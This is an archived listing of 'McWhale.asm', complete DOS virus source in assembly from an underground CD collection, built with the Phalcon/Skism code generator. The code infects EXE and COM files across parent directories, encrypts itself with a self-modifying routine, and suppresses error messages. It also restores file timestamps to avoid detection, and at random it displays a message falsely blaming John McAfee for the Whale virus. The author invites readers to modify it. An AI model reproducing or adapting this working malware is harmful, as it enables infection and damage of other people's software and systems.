home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / mcwhale.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  17.3 KB  |  508 lines

  1. ; McWhale.asm : [McAfee' Whale] by [pAgE]
  2.  
  3. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  4.  
  5. ; from the configuration file skeleton.cfg
  6.  
  7. ;
  8.  
  9. ; Here's another "lame dick" virus! I thought it was rather fitting!
  10.  
  11. ; Many thanks to the fellows at Phalcon/Skism for this little tool.
  12.  
  13. ; I am sure that Dark Angel and the bunch are not stopping here, but
  14.  
  15. ; will come up with another innovation in Vx production...
  16.  
  17. ;
  18.  
  19. ; I have set this file to activate at a 40% chance on any day. Feel free
  20.  
  21. ; to modify this program as you see fit or keep it as a novelty in its
  22.  
  23. ; original form.
  24.  
  25.  
  26.  
  27.  
  28.  
  29. .model tiny                             ; Handy directive
  30.  
  31. .code                                   ; Virus code segment
  32.  
  33.           org    100h                   ; COM file starting IP
  34.  
  35.  
  36.  
  37. id = 'MO'                               ; ID word for EXE infections
  38.  
  39. entry_point: db 0e9h,0,0                ; jmp decrypt
  40.  
  41.  
  42.  
  43. decrypt:                                ; handles encryption and decryption
  44.  
  45.           mov  bx,(offset heap - offset startencrypt)/2 ; iterations
  46.  
  47. patch_startencrypt:
  48.  
  49.           mov  si,offset startencrypt   ; start of decryption
  50.  
  51. decrypt_loop:
  52.  
  53.           db   2eh,81h,04h              ; add word ptr cs:[si], xxxx
  54.  
  55. decrypt_value dw 0                      ; initialised at zero for null effect
  56.  
  57.           inc  si                       ; calculate new decryption location
  58.  
  59.           inc  si
  60.  
  61.           dec  bx                       ; If we are not done, then
  62.  
  63.           jnz  decrypt_loop             ; decrypt mo'
  64.  
  65. startencrypt:
  66.  
  67.           call next                     ; calculate delta offset
  68.  
  69. next:     pop  bp                       ; bp = IP next
  70.  
  71.           sub  bp,offset next           ; bp = delta offset
  72.  
  73.  
  74.  
  75.           cmp  sp,id                    ; COM or EXE?
  76.  
  77.           je   restoreEXE
  78.  
  79. restoreCOM:
  80.  
  81.           lea  si,[bp+save3]
  82.  
  83.           mov  di,100h
  84.  
  85.           push di                       ; For later return
  86.  
  87.           movsb
  88.  
  89.           jmp  short restoreEXIT
  90.  
  91. restoreEXE:
  92.  
  93.           push ds
  94.  
  95.           push es
  96.  
  97.           push cs                       ; DS = CS
  98.  
  99.           pop  ds
  100.  
  101.           push cs                       ; ES = CS
  102.  
  103.           pop  es
  104.  
  105.           lea  si,[bp+jmpsave2]
  106.  
  107.           lea  di,[bp+jmpsave]
  108.  
  109.           movsw
  110.  
  111.           movsw
  112.  
  113.           movsw
  114.  
  115. restoreEXIT:
  116.  
  117.           movsw
  118.  
  119.  
  120.  
  121.           mov  byte ptr [bp+numinfec],2 ; reset infection counter
  122.  
  123.  
  124.  
  125.           mov  ah,1Ah                   ; Set new DTA
  126.  
  127.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  128.  
  129.           int  21h
  130.  
  131.  
  132.  
  133.           mov  ah,47h                   ; Get current directory
  134.  
  135.           mov  dl,0                     ; Current drive
  136.  
  137.           lea  si,[bp+origdir]          ; DS:SI->buffer
  138.  
  139.           int  21h
  140.  
  141.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  142.  
  143.  
  144.  
  145.           mov  ax,3524h                 ; Get int 24 handler
  146.  
  147.           int  21h                      ; to ES:BX
  148.  
  149.           mov  word ptr [bp+oldint24],bx; Save it
  150.  
  151.           mov  word ptr [bp+oldint24+2],es
  152.  
  153.           mov  ah,25h                   ; Set new int 24 handler
  154.  
  155.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  156.  
  157.           int  21h
  158.  
  159.           push cs                       ; Restore ES
  160.  
  161.           pop  es                       ; 'cuz it was changed
  162.  
  163.  
  164.  
  165. dir_scan:                               ; "dot dot" traversal
  166.  
  167.           lea  dx,[bp+exe_mask]
  168.  
  169.           call infect_mask
  170.  
  171.           lea  dx,[bp+com_mask]
  172.  
  173.           call infect_mask
  174.  
  175.           mov  ah,3bh                   ; change directory
  176.  
  177.           lea  dx,[bp+dot_dot]          ; "cd .."
  178.  
  179.           int  21h
  180.  
  181.           jnc  dir_scan                 ; go back for mo!
  182.  
  183.  
  184.  
  185. done_infections:
  186.  
  187.           mov  ah,2ah                   ; Get current date
  188.  
  189.           int  21h                      ;
  190.  
  191.          ;cmp  dh,4                     ; Check month
  192.  
  193.          ;jb   exit_virus               ;
  194.  
  195.          ;cmp  dl,15                    ; Check date
  196.  
  197.          ;jnz  exit_virus               ;
  198.  
  199.  
  200.  
  201.          ;mov  ah,2ch                   ; Get current time
  202.  
  203.          ;int  21h
  204.  
  205.           cmp  dl,40                    ; Check the percentage
  206.  
  207.           jbe  activate
  208.  
  209.  
  210.  
  211. exit_virus:
  212.  
  213.           mov  ax,2524h                 ; Restore int 24 handler
  214.  
  215.           lds  dx,[bp+offset oldint24]  ; to original
  216.  
  217.           int  21h
  218.  
  219.           push cs
  220.  
  221.           pop  ds
  222.  
  223.  
  224.  
  225.           mov  ah,3bh                   ; change directory
  226.  
  227.           lea  dx,[bp+origdir-1]        ; original directory
  228.  
  229.           int  21h
  230.  
  231.  
  232.  
  233.           mov  ah,1ah                   ; restore DTA to default
  234.  
  235.           mov  dx,80h                   ; DTA in PSP
  236.  
  237.           cmp  sp,id-4                  ; EXE or COM?
  238.  
  239.           jz   returnEXE
  240.  
  241. returnCOM:
  242.  
  243.           int  21h
  244.  
  245.           retn                          ; 100h is on stack
  246.  
  247. returnEXE:
  248.  
  249.           pop  es
  250.  
  251.           pop  ds
  252.  
  253.           int  21h
  254.  
  255.           mov  ax,es                    ; AX = PSP segment
  256.  
  257.           add  ax,10h                   ; Adjust for PSP
  258.  
  259.           add  word ptr cs:[bp+jmpsave+2],ax
  260.  
  261.           add  ax,word ptr cs:[bp+stacksave+2]
  262.  
  263.           cli                           ; Clear intrpts for stack manipulation
  264.  
  265.           mov  sp,word ptr cs:[bp+stacksave]
  266.  
  267.           mov  ss,ax
  268.  
  269.           sti
  270.  
  271.           db   0eah                     ; jmp ssss:oooo
  272.  
  273. jmpsave             dd ?                ; Original CS:IP
  274.  
  275. stacksave           dd ?                ; Original SS:SP
  276.  
  277. jmpsave2            db ?                ; Actually four bytes
  278.  
  279. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  280.  
  281. stacksave2          dd ?
  282.  
  283.  
  284.  
  285. activate        proc    far
  286.  
  287.  
  288.  
  289. start:
  290.  
  291.         jmp    loc_1
  292.  
  293. data_1        db    0
  294.  
  295. data_2        dw    0
  296.  
  297.         db     62h, 79h
  298.  
  299.                 db      ' ABRAXAS - '
  300.  
  301. copyright       db      '(c) 1992 Abraxas Warez.'
  302.  
  303.                 db      '.....................................BEWARE!!!............'
  304.  
  305.                 db      '....................'
  306.  
  307. data_5          db      'Anti-Virus.....Man.....John.....McAfee.....wrote'
  308.  
  309.                 db      '.....the.....WHALE.....virus!!!'
  310.  
  311.                 db      '..............................HONEST!!!....................................$'
  312.  
  313. loc_1:
  314.  
  315.         push    si
  316.  
  317.         push    di
  318.  
  319.         mov    si,80h
  320.  
  321.         cld                ; Clear direction
  322.  
  323.         call    sub_1
  324.  
  325.         cmp    byte ptr [si],0Dh
  326.  
  327.         je    loc_4            ; Jump if equal
  328.  
  329.         mov    cx,28h
  330.  
  331.         lea    di,data_5        ; ('Attention: Please press ') Load ef
  332.  
  333. locloop_2:
  334.  
  335.         lodsb                ; String [si] to al
  336.  
  337.         cmp    al,0Dh
  338.  
  339.         je    loc_3            ; Jump if equal
  340.  
  341.         stosb                ; Store al to es:[di]
  342.  
  343.         loop    locloop_2        ; Loop if cx > 0
  344.  
  345. loc_3:
  346.  
  347.         inc    cx
  348.  
  349.         mov    al,2Eh            ; '.'
  350.  
  351.         rep    stosb            ; Rep when cx >0 Store al to es:[di]
  352.  
  353. loc_4:
  354.  
  355.         pop    di
  356.  
  357.         pop    si
  358.  
  359.         mov    ah,3
  360.  
  361.         mov    bh,0
  362.  
  363.         int    10h            ; Video display   ah=functn 03h
  364.  
  365.                         ;  get cursor loc in dx, mode cx
  366.  
  367.  
  368.  
  369.                 mov     data_2,cx
  370.  
  371.         mov    ah,1
  372.  
  373.         mov    cx,0F00h
  374.  
  375.         int    10h            ; Video display   ah=functn 01h
  376.  
  377.                         ;  set cursor mode in cx
  378.  
  379.         mov    ah,2
  380.  
  381.         mov    dh,18h
  382.  
  383.         mov    dl,13h
  384.  
  385.         int    10h            ; Video display   ah=functn 02h
  386.  
  387.                         ;  set cursor location in dx
  388.  
  389. loc_5:
  390.  
  391.         mov    data_1,0FFh
  392.  
  393. loc_6:
  394.  
  395.         add    data_1,1
  396.  
  397.         mov    bl,data_1
  398.  
  399.         mov    bh,0
  400.  
  401.         mov    cx,27h
  402.  
  403.         call    sub_2
  404.  
  405.  
  406.  
  407. locloop_7:
  408.  
  409.         mov    al,byte ptr copyright+20h[bx]    ; ('.')
  410.  
  411.         mov    ah,0Eh
  412.  
  413.         int    10h            ; Video display   ah=functn 0Eh
  414.  
  415.                         ;  write char al, teletype mode
  416.  
  417.         inc    bx
  418.  
  419.         call    sub_3
  420.  
  421.         mov    dl,0FFh
  422.  
  423.         mov    ah,6
  424.  
  425.         int    21h            ; DOS Services  ah=function 06h
  426.  
  427.                         ;  special char i/o, dl=subfunc
  428.  
  429.         jnz    loc_10            ; Jump if not zero
  430.  
  431.         loop    locloop_7        ; Loop if cx > 0
  432.  
  433.  
  434.  
  435.         cmp    byte ptr copyright+20h[bx],24h    ; ('.') '$'
  436.  
  437.         je    loc_5            ; Jump if equal
  438.  
  439.         jmp    short loc_6
  440.  
  441.  
  442.  
  443. activate        endp
  444.  
  445.  
  446.  
  447. sub_1        proc    near
  448.  
  449. loc_8:
  450.  
  451.         inc    si
  452.  
  453.         cmp    byte ptr [si],20h    ; ' '
  454.  
  455.         je    loc_8            ; Jump if equal
  456.  
  457.                 retn
  458.  
  459. sub_1        endp
  460.  
  461.  
  462.  
  463. sub_2        proc    near
  464.  
  465.                 push    ax
  466.  
  467.                 push    bx
  468.  
  469.                 push    cx
  470.  
  471.                 push    dx
  472.  
  473.                 mov     dx,si
  474.  
  475.                 mov     cx,di
  476.  
  477.                 mov     al,4
  478.  
  479.                 mov     ah,0ch
  480.  
  481.                 int     10h
  482.  
  483.                 mov     ah,2
  484.  
  485.                 mov     dh,8h
  486.  
  487.                 mov     dl,14h
  488.  
  489.                 mov     cx,30
  490.  
  491.                 int     10h                     ; Video display   ah=functn 02h
  492.  
  493.                 mov     ah,10h
  494.  
  495.                 mov     al,0
  496.  
  497.                 mov     bl,4
  498.  
  499.                 mov     bh,63
  500.  
  501.                 int     10h
  502.  
  503.                 pop     dx
  504.  
  505.                 pop     cx
  506.  
  507.                 pop     bx
  508.  
  509.                 pop     ax
  510.  
  511.  
  512.  
  513.                 retn
  514.  
  515. sub_2        endp
  516.  
  517.  
  518.  
  519. sub_3        proc    near
  520.  
  521.         push    cx
  522.  
  523.         mov    cx,258h
  524.  
  525. locloop_9:
  526.  
  527.         loop    locloop_9        ; Loop if cx > 0
  528.  
  529.         pop    cx
  530.  
  531.         retn
  532.  
  533. sub_3        endp
  534.  
  535.  
  536.  
  537. loc_10:
  538.  
  539.         call    sub_2
  540.  
  541.         mov    cx,4Fh
  542.  
  543. locloop_11:
  544.  
  545.         mov    al,20h            ; ' '
  546.  
  547.         mov    ah,0Eh
  548.  
  549.         int    10h            ; Video display   ah=functn 0Eh
  550.  
  551.                         ;  write char al, teletype mode
  552.  
  553.         loop    locloop_11        ; Loop if cx > 0
  554.  
  555.  
  556.  
  557.         mov    ah,1
  558.  
  559.         mov    cx,data_2
  560.  
  561.         int    10h            ; Video display   ah=functn 01h
  562.  
  563.         int    20h            ; DOS program terminate
  564.  
  565.           jmp  exit_virus
  566.  
  567.  
  568.  
  569. creator             db '[MPC]',0                ; BIG SIGN!!!
  570.  
  571. virusname           db "[McAfee' Whale]",0      ; That's it!!
  572.  
  573. author              db '[pAgE]',0               ; Nah! Not me!<g>
  574.  
  575.  
  576.  
  577. infect_mask:
  578.  
  579.           mov  ah,4eh                   ; find first file
  580.  
  581.           mov  cx,7                     ; any attribute
  582.  
  583. findfirstnext:
  584.  
  585.           int  21h                      ; DS:DX points to mask
  586.  
  587.           jc   exit_infect_mask         ; No mo files found
  588.  
  589.  
  590.  
  591.           mov  al,0h                    ; Open read only
  592.  
  593.           call open
  594.  
  595.  
  596.  
  597.           mov  ah,3fh                   ; Read file to buffer
  598.  
  599.           lea  dx,[bp+buffer]           ; @ DS:DX
  600.  
  601.           mov  cx,1Ah                   ; 1Ah bytes
  602.  
  603.           int  21h
  604.  
  605.  
  606.  
  607.           mov  ah,3eh                   ; Close file
  608.  
  609.           int  21h
  610.  
  611.  
  612.  
  613.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  614.  
  615.           jz   checkEXE                 ; Why yes, yes it is!
  616.  
  617. checkCOM:
  618.  
  619.           mov  ax,word ptr [bp+newDTA+35] ; Get tail of filename
  620.  
  621.           cmp  ax,'DN'                  ; Ends in ND? (commaND)
  622.  
  623.           jz   find_next
  624.  
  625.  
  626.  
  627.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  628.  
  629.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  630.  
  631.           add  bx,heap-decrypt+3        ; Adjust for virus size
  632.  
  633.           cmp  ax,bx
  634.  
  635.           je   find_next                ; already infected
  636.  
  637.           jmp  infect_com
  638.  
  639. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  640.  
  641.           jnz  infect_exe
  642.  
  643. find_next:
  644.  
  645.           mov  ah,4fh                   ; find next file
  646.  
  647.           jmp  short findfirstnext
  648.  
  649. exit_infect_mask: ret
  650.  
  651.  
  652.  
  653. infect_exe:
  654.  
  655.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  656.  
  657.           mov  word ptr [bp+jmpsave2], ax
  658.  
  659.           mov  word ptr [bp+jmpsave2+2], es
  660.  
  661.  
  662.  
  663.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  664.  
  665.           mov  word ptr [bp+stacksave2], es
  666.  
  667.           mov  word ptr [bp+stacksave2+2], ax
  668.  
  669.  
  670.  
  671.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  672.  
  673.           mov  cl, 4                    ; convert to bytes
  674.  
  675.           shl  ax, cl
  676.  
  677.           xchg ax, bx
  678.  
  679.  
  680.  
  681.           les  ax, [bp+offset newDTA+26]; Get file size
  682.  
  683.           mov  dx, es                   ; to DX:AX
  684.  
  685.           push ax
  686.  
  687.           push dx
  688.  
  689.  
  690.  
  691.           sub  ax, bx                   ; Subtract header size from
  692.  
  693.           sbb  dx, 0                    ; file size
  694.  
  695.  
  696.  
  697.           mov  cx, 10h                  ; Convert to segment:offset
  698.  
  699.           div  cx                       ; form
  700.  
  701.  
  702.  
  703.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  704.  
  705.           mov  word ptr [bp+buffer+16h], ax
  706.  
  707.  
  708.  
  709.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  710.  
  711.           mov  word ptr [bp+buffer+10h], id
  712.  
  713.  
  714.  
  715.           pop  dx                       ; get file length
  716.  
  717.           pop  ax
  718.  
  719.  
  720.  
  721.           add  ax, heap-decrypt         ; add virus size
  722.  
  723.           adc  dx, 0
  724.  
  725.  
  726.  
  727.           mov  cl, 9
  728.  
  729.           push ax
  730.  
  731.           shr  ax, cl
  732.  
  733.           ror  dx, cl
  734.  
  735.           stc
  736.  
  737.           adc  dx, ax
  738.  
  739.           pop  ax
  740.  
  741.           and  ah, 1                    ; mod 512
  742.  
  743.  
  744.  
  745.           mov  word ptr [bp+buffer+4], dx ; new file size
  746.  
  747.           mov  word ptr [bp+buffer+2], ax
  748.  
  749.  
  750.  
  751.           push cs                       ; restore ES
  752.  
  753.           pop  es
  754.  
  755.  
  756.  
  757.           push word ptr [bp+buffer+14h] ; needed later
  758.  
  759.           mov  cx, 1ah
  760.  
  761.           jmp  short finishinfection
  762.  
  763. infect_com:                             ; ax = filesize
  764.  
  765.           mov  cx,3
  766.  
  767.           sub  ax,cx
  768.  
  769.           lea  si,[bp+offset buffer]
  770.  
  771.           lea  di,[bp+offset save3]
  772.  
  773.           movsw
  774.  
  775.           movsb
  776.  
  777.           mov  byte ptr [si-3],0e9h
  778.  
  779.           mov  word ptr [si-2],ax
  780.  
  781.           add  ax,103h
  782.  
  783.           push ax                       ; needed later
  784.  
  785. finishinfection:
  786.  
  787.           push cx                       ; Save # bytes to write
  788.  
  789.           xor  cx,cx                    ; Clear attributes
  790.  
  791.           call attributes               ; Set file attributes
  792.  
  793.  
  794.  
  795.           mov  al,2
  796.  
  797.           call open
  798.  
  799.  
  800.  
  801.           mov  ah,40h                   ; Write to file
  802.  
  803.           lea  dx,[bp+buffer]           ; Write from buffer
  804.  
  805.           pop  cx                       ; cx bytes
  806.  
  807.           int  21h
  808.  
  809.  
  810.  
  811.           mov  ax,4202h                 ; Move file pointer
  812.  
  813.           xor  cx,cx                    ; to end of file
  814.  
  815.           cwd                           ; xor dx,dx
  816.  
  817.           int  21h
  818.  
  819.  
  820.  
  821.           mov  ah,2ch                   ; Get current time
  822.  
  823.           int  21h                      ; dh=sec,dl=1/100 sec
  824.  
  825.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  826.  
  827.           lea  di,[bp+code_store]
  828.  
  829.           mov  ax,5355h                 ; push bp,push bx
  830.  
  831.           stosw
  832.  
  833.           lea  si,[bp+decrypt]          ; Copy encryption function
  834.  
  835.           mov  cx,startencrypt-decrypt  ; Bytes to move
  836.  
  837.           push si                       ; Save for later use
  838.  
  839.           push cx
  840.  
  841.           rep  movsb
  842.  
  843.  
  844.  
  845.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  846.  
  847.  
  848.  
  849.           lea    si,[bp+write]          ; Copy writing function
  850.  
  851.           mov    cx,endwrite-write      ; Bytes to move
  852.  
  853.           rep    movsb
  854.  
  855.           pop    cx
  856.  
  857.           pop    si
  858.  
  859.           pop    dx                     ; Entry point of virus
  860.  
  861.           push   di
  862.  
  863.           push   si
  864.  
  865.           push   cx
  866.  
  867.           rep    movsb                  ; Copy decryption function
  868.  
  869.           mov    ax,5b5dh               ; pop bx,pop bp
  870.  
  871.           stosw
  872.  
  873.           mov    al,0c3h                ; retn
  874.  
  875.           stosb
  876.  
  877.  
  878.  
  879.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  880.  
  881.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  882.  
  883.           call   code_store             ; decryption
  884.  
  885.           pop    cx
  886.  
  887.           pop    di
  888.  
  889.           pop    si
  890.  
  891.           rep    movsb                  ; Restore decryption function
  892.  
  893.  
  894.  
  895.           mov  ax,5701h                 ; Restore creation date/time
  896.  
  897.           mov  cx,word ptr [bp+newDTA+16h] ; time
  898.  
  899.           mov  dx,word ptr [bp+newDTA+18h] ; date
  900.  
  901.           int  21h
  902.  
  903.  
  904.  
  905.           mov  ah,3eh                   ; Close file
  906.  
  907.           int  21h
  908.  
  909.  
  910.  
  911.           mov ch,0
  912.  
  913.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  914.  
  915.           call attributes               ; attributes
  916.  
  917.  
  918.  
  919.           dec  byte ptr [bp+numinfec]   ; One mo infection
  920.  
  921.           jnz  mo_infections            ; Not enough
  922.  
  923.           pop  ax                       ; remove call from stack
  924.  
  925.           jmp  done_infections
  926.  
  927. mo_infections: jmp find_next
  928.  
  929.  
  930.  
  931. open:
  932.  
  933.           mov  ah,3dh
  934.  
  935.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  936.  
  937.           int  21h
  938.  
  939.           xchg ax,bx
  940.  
  941.           ret
  942.  
  943.  
  944.  
  945. attributes:
  946.  
  947.           mov  ax,4301h                 ; Set attributes to cx
  948.  
  949.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  950.  
  951.           int  21h
  952.  
  953.           ret
  954.  
  955.  
  956.  
  957. write:
  958.  
  959.           pop  bx                       ; Restore file handle
  960.  
  961.           pop  bp                       ; Restore relativeness
  962.  
  963.           mov  ah,40h                   ; Write to file
  964.  
  965.           lea  dx,[bp+decrypt]          ; Concatenate virus
  966.  
  967.           mov  cx,heap-decrypt          ; # bytes to write
  968.  
  969.           int  21h
  970.  
  971.           push bx
  972.  
  973.           push bp
  974.  
  975. endwrite:
  976.  
  977.  
  978.  
  979. int24:                                  ; New int 24h (error) handler
  980.  
  981.           mov  al,3                     ; Fail call
  982.  
  983.           iret                          ; Return control
  984.  
  985.  
  986.  
  987. exe_mask            db '*.exe',0
  988.  
  989. com_mask            db '*.com',0
  990.  
  991. dot_dot             db '..',0
  992.  
  993. heap:                                   ; Variables not in code
  994.  
  995. ; The following code is the buffer for the write function
  996.  
  997. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  998.  
  999. oldint24            dd ?                ; Storage for old int 24h handler      
  1000.  
  1001. backslash           db ?
  1002.  
  1003. origdir             db 64 dup (?)       ; Current directory buffer             
  1004.  
  1005. newDTA              db 43 dup (?)       ; Temporary DTA                        
  1006.  
  1007. numinfec            db ?                ; Infections this run                  
  1008.  
  1009. buffer              db 1ah dup (?)      ; read buffer                          
  1010.  
  1011. endheap:                                ; End of virus
  1012.  
  1013. end       entry_point
  1014.  
  1015.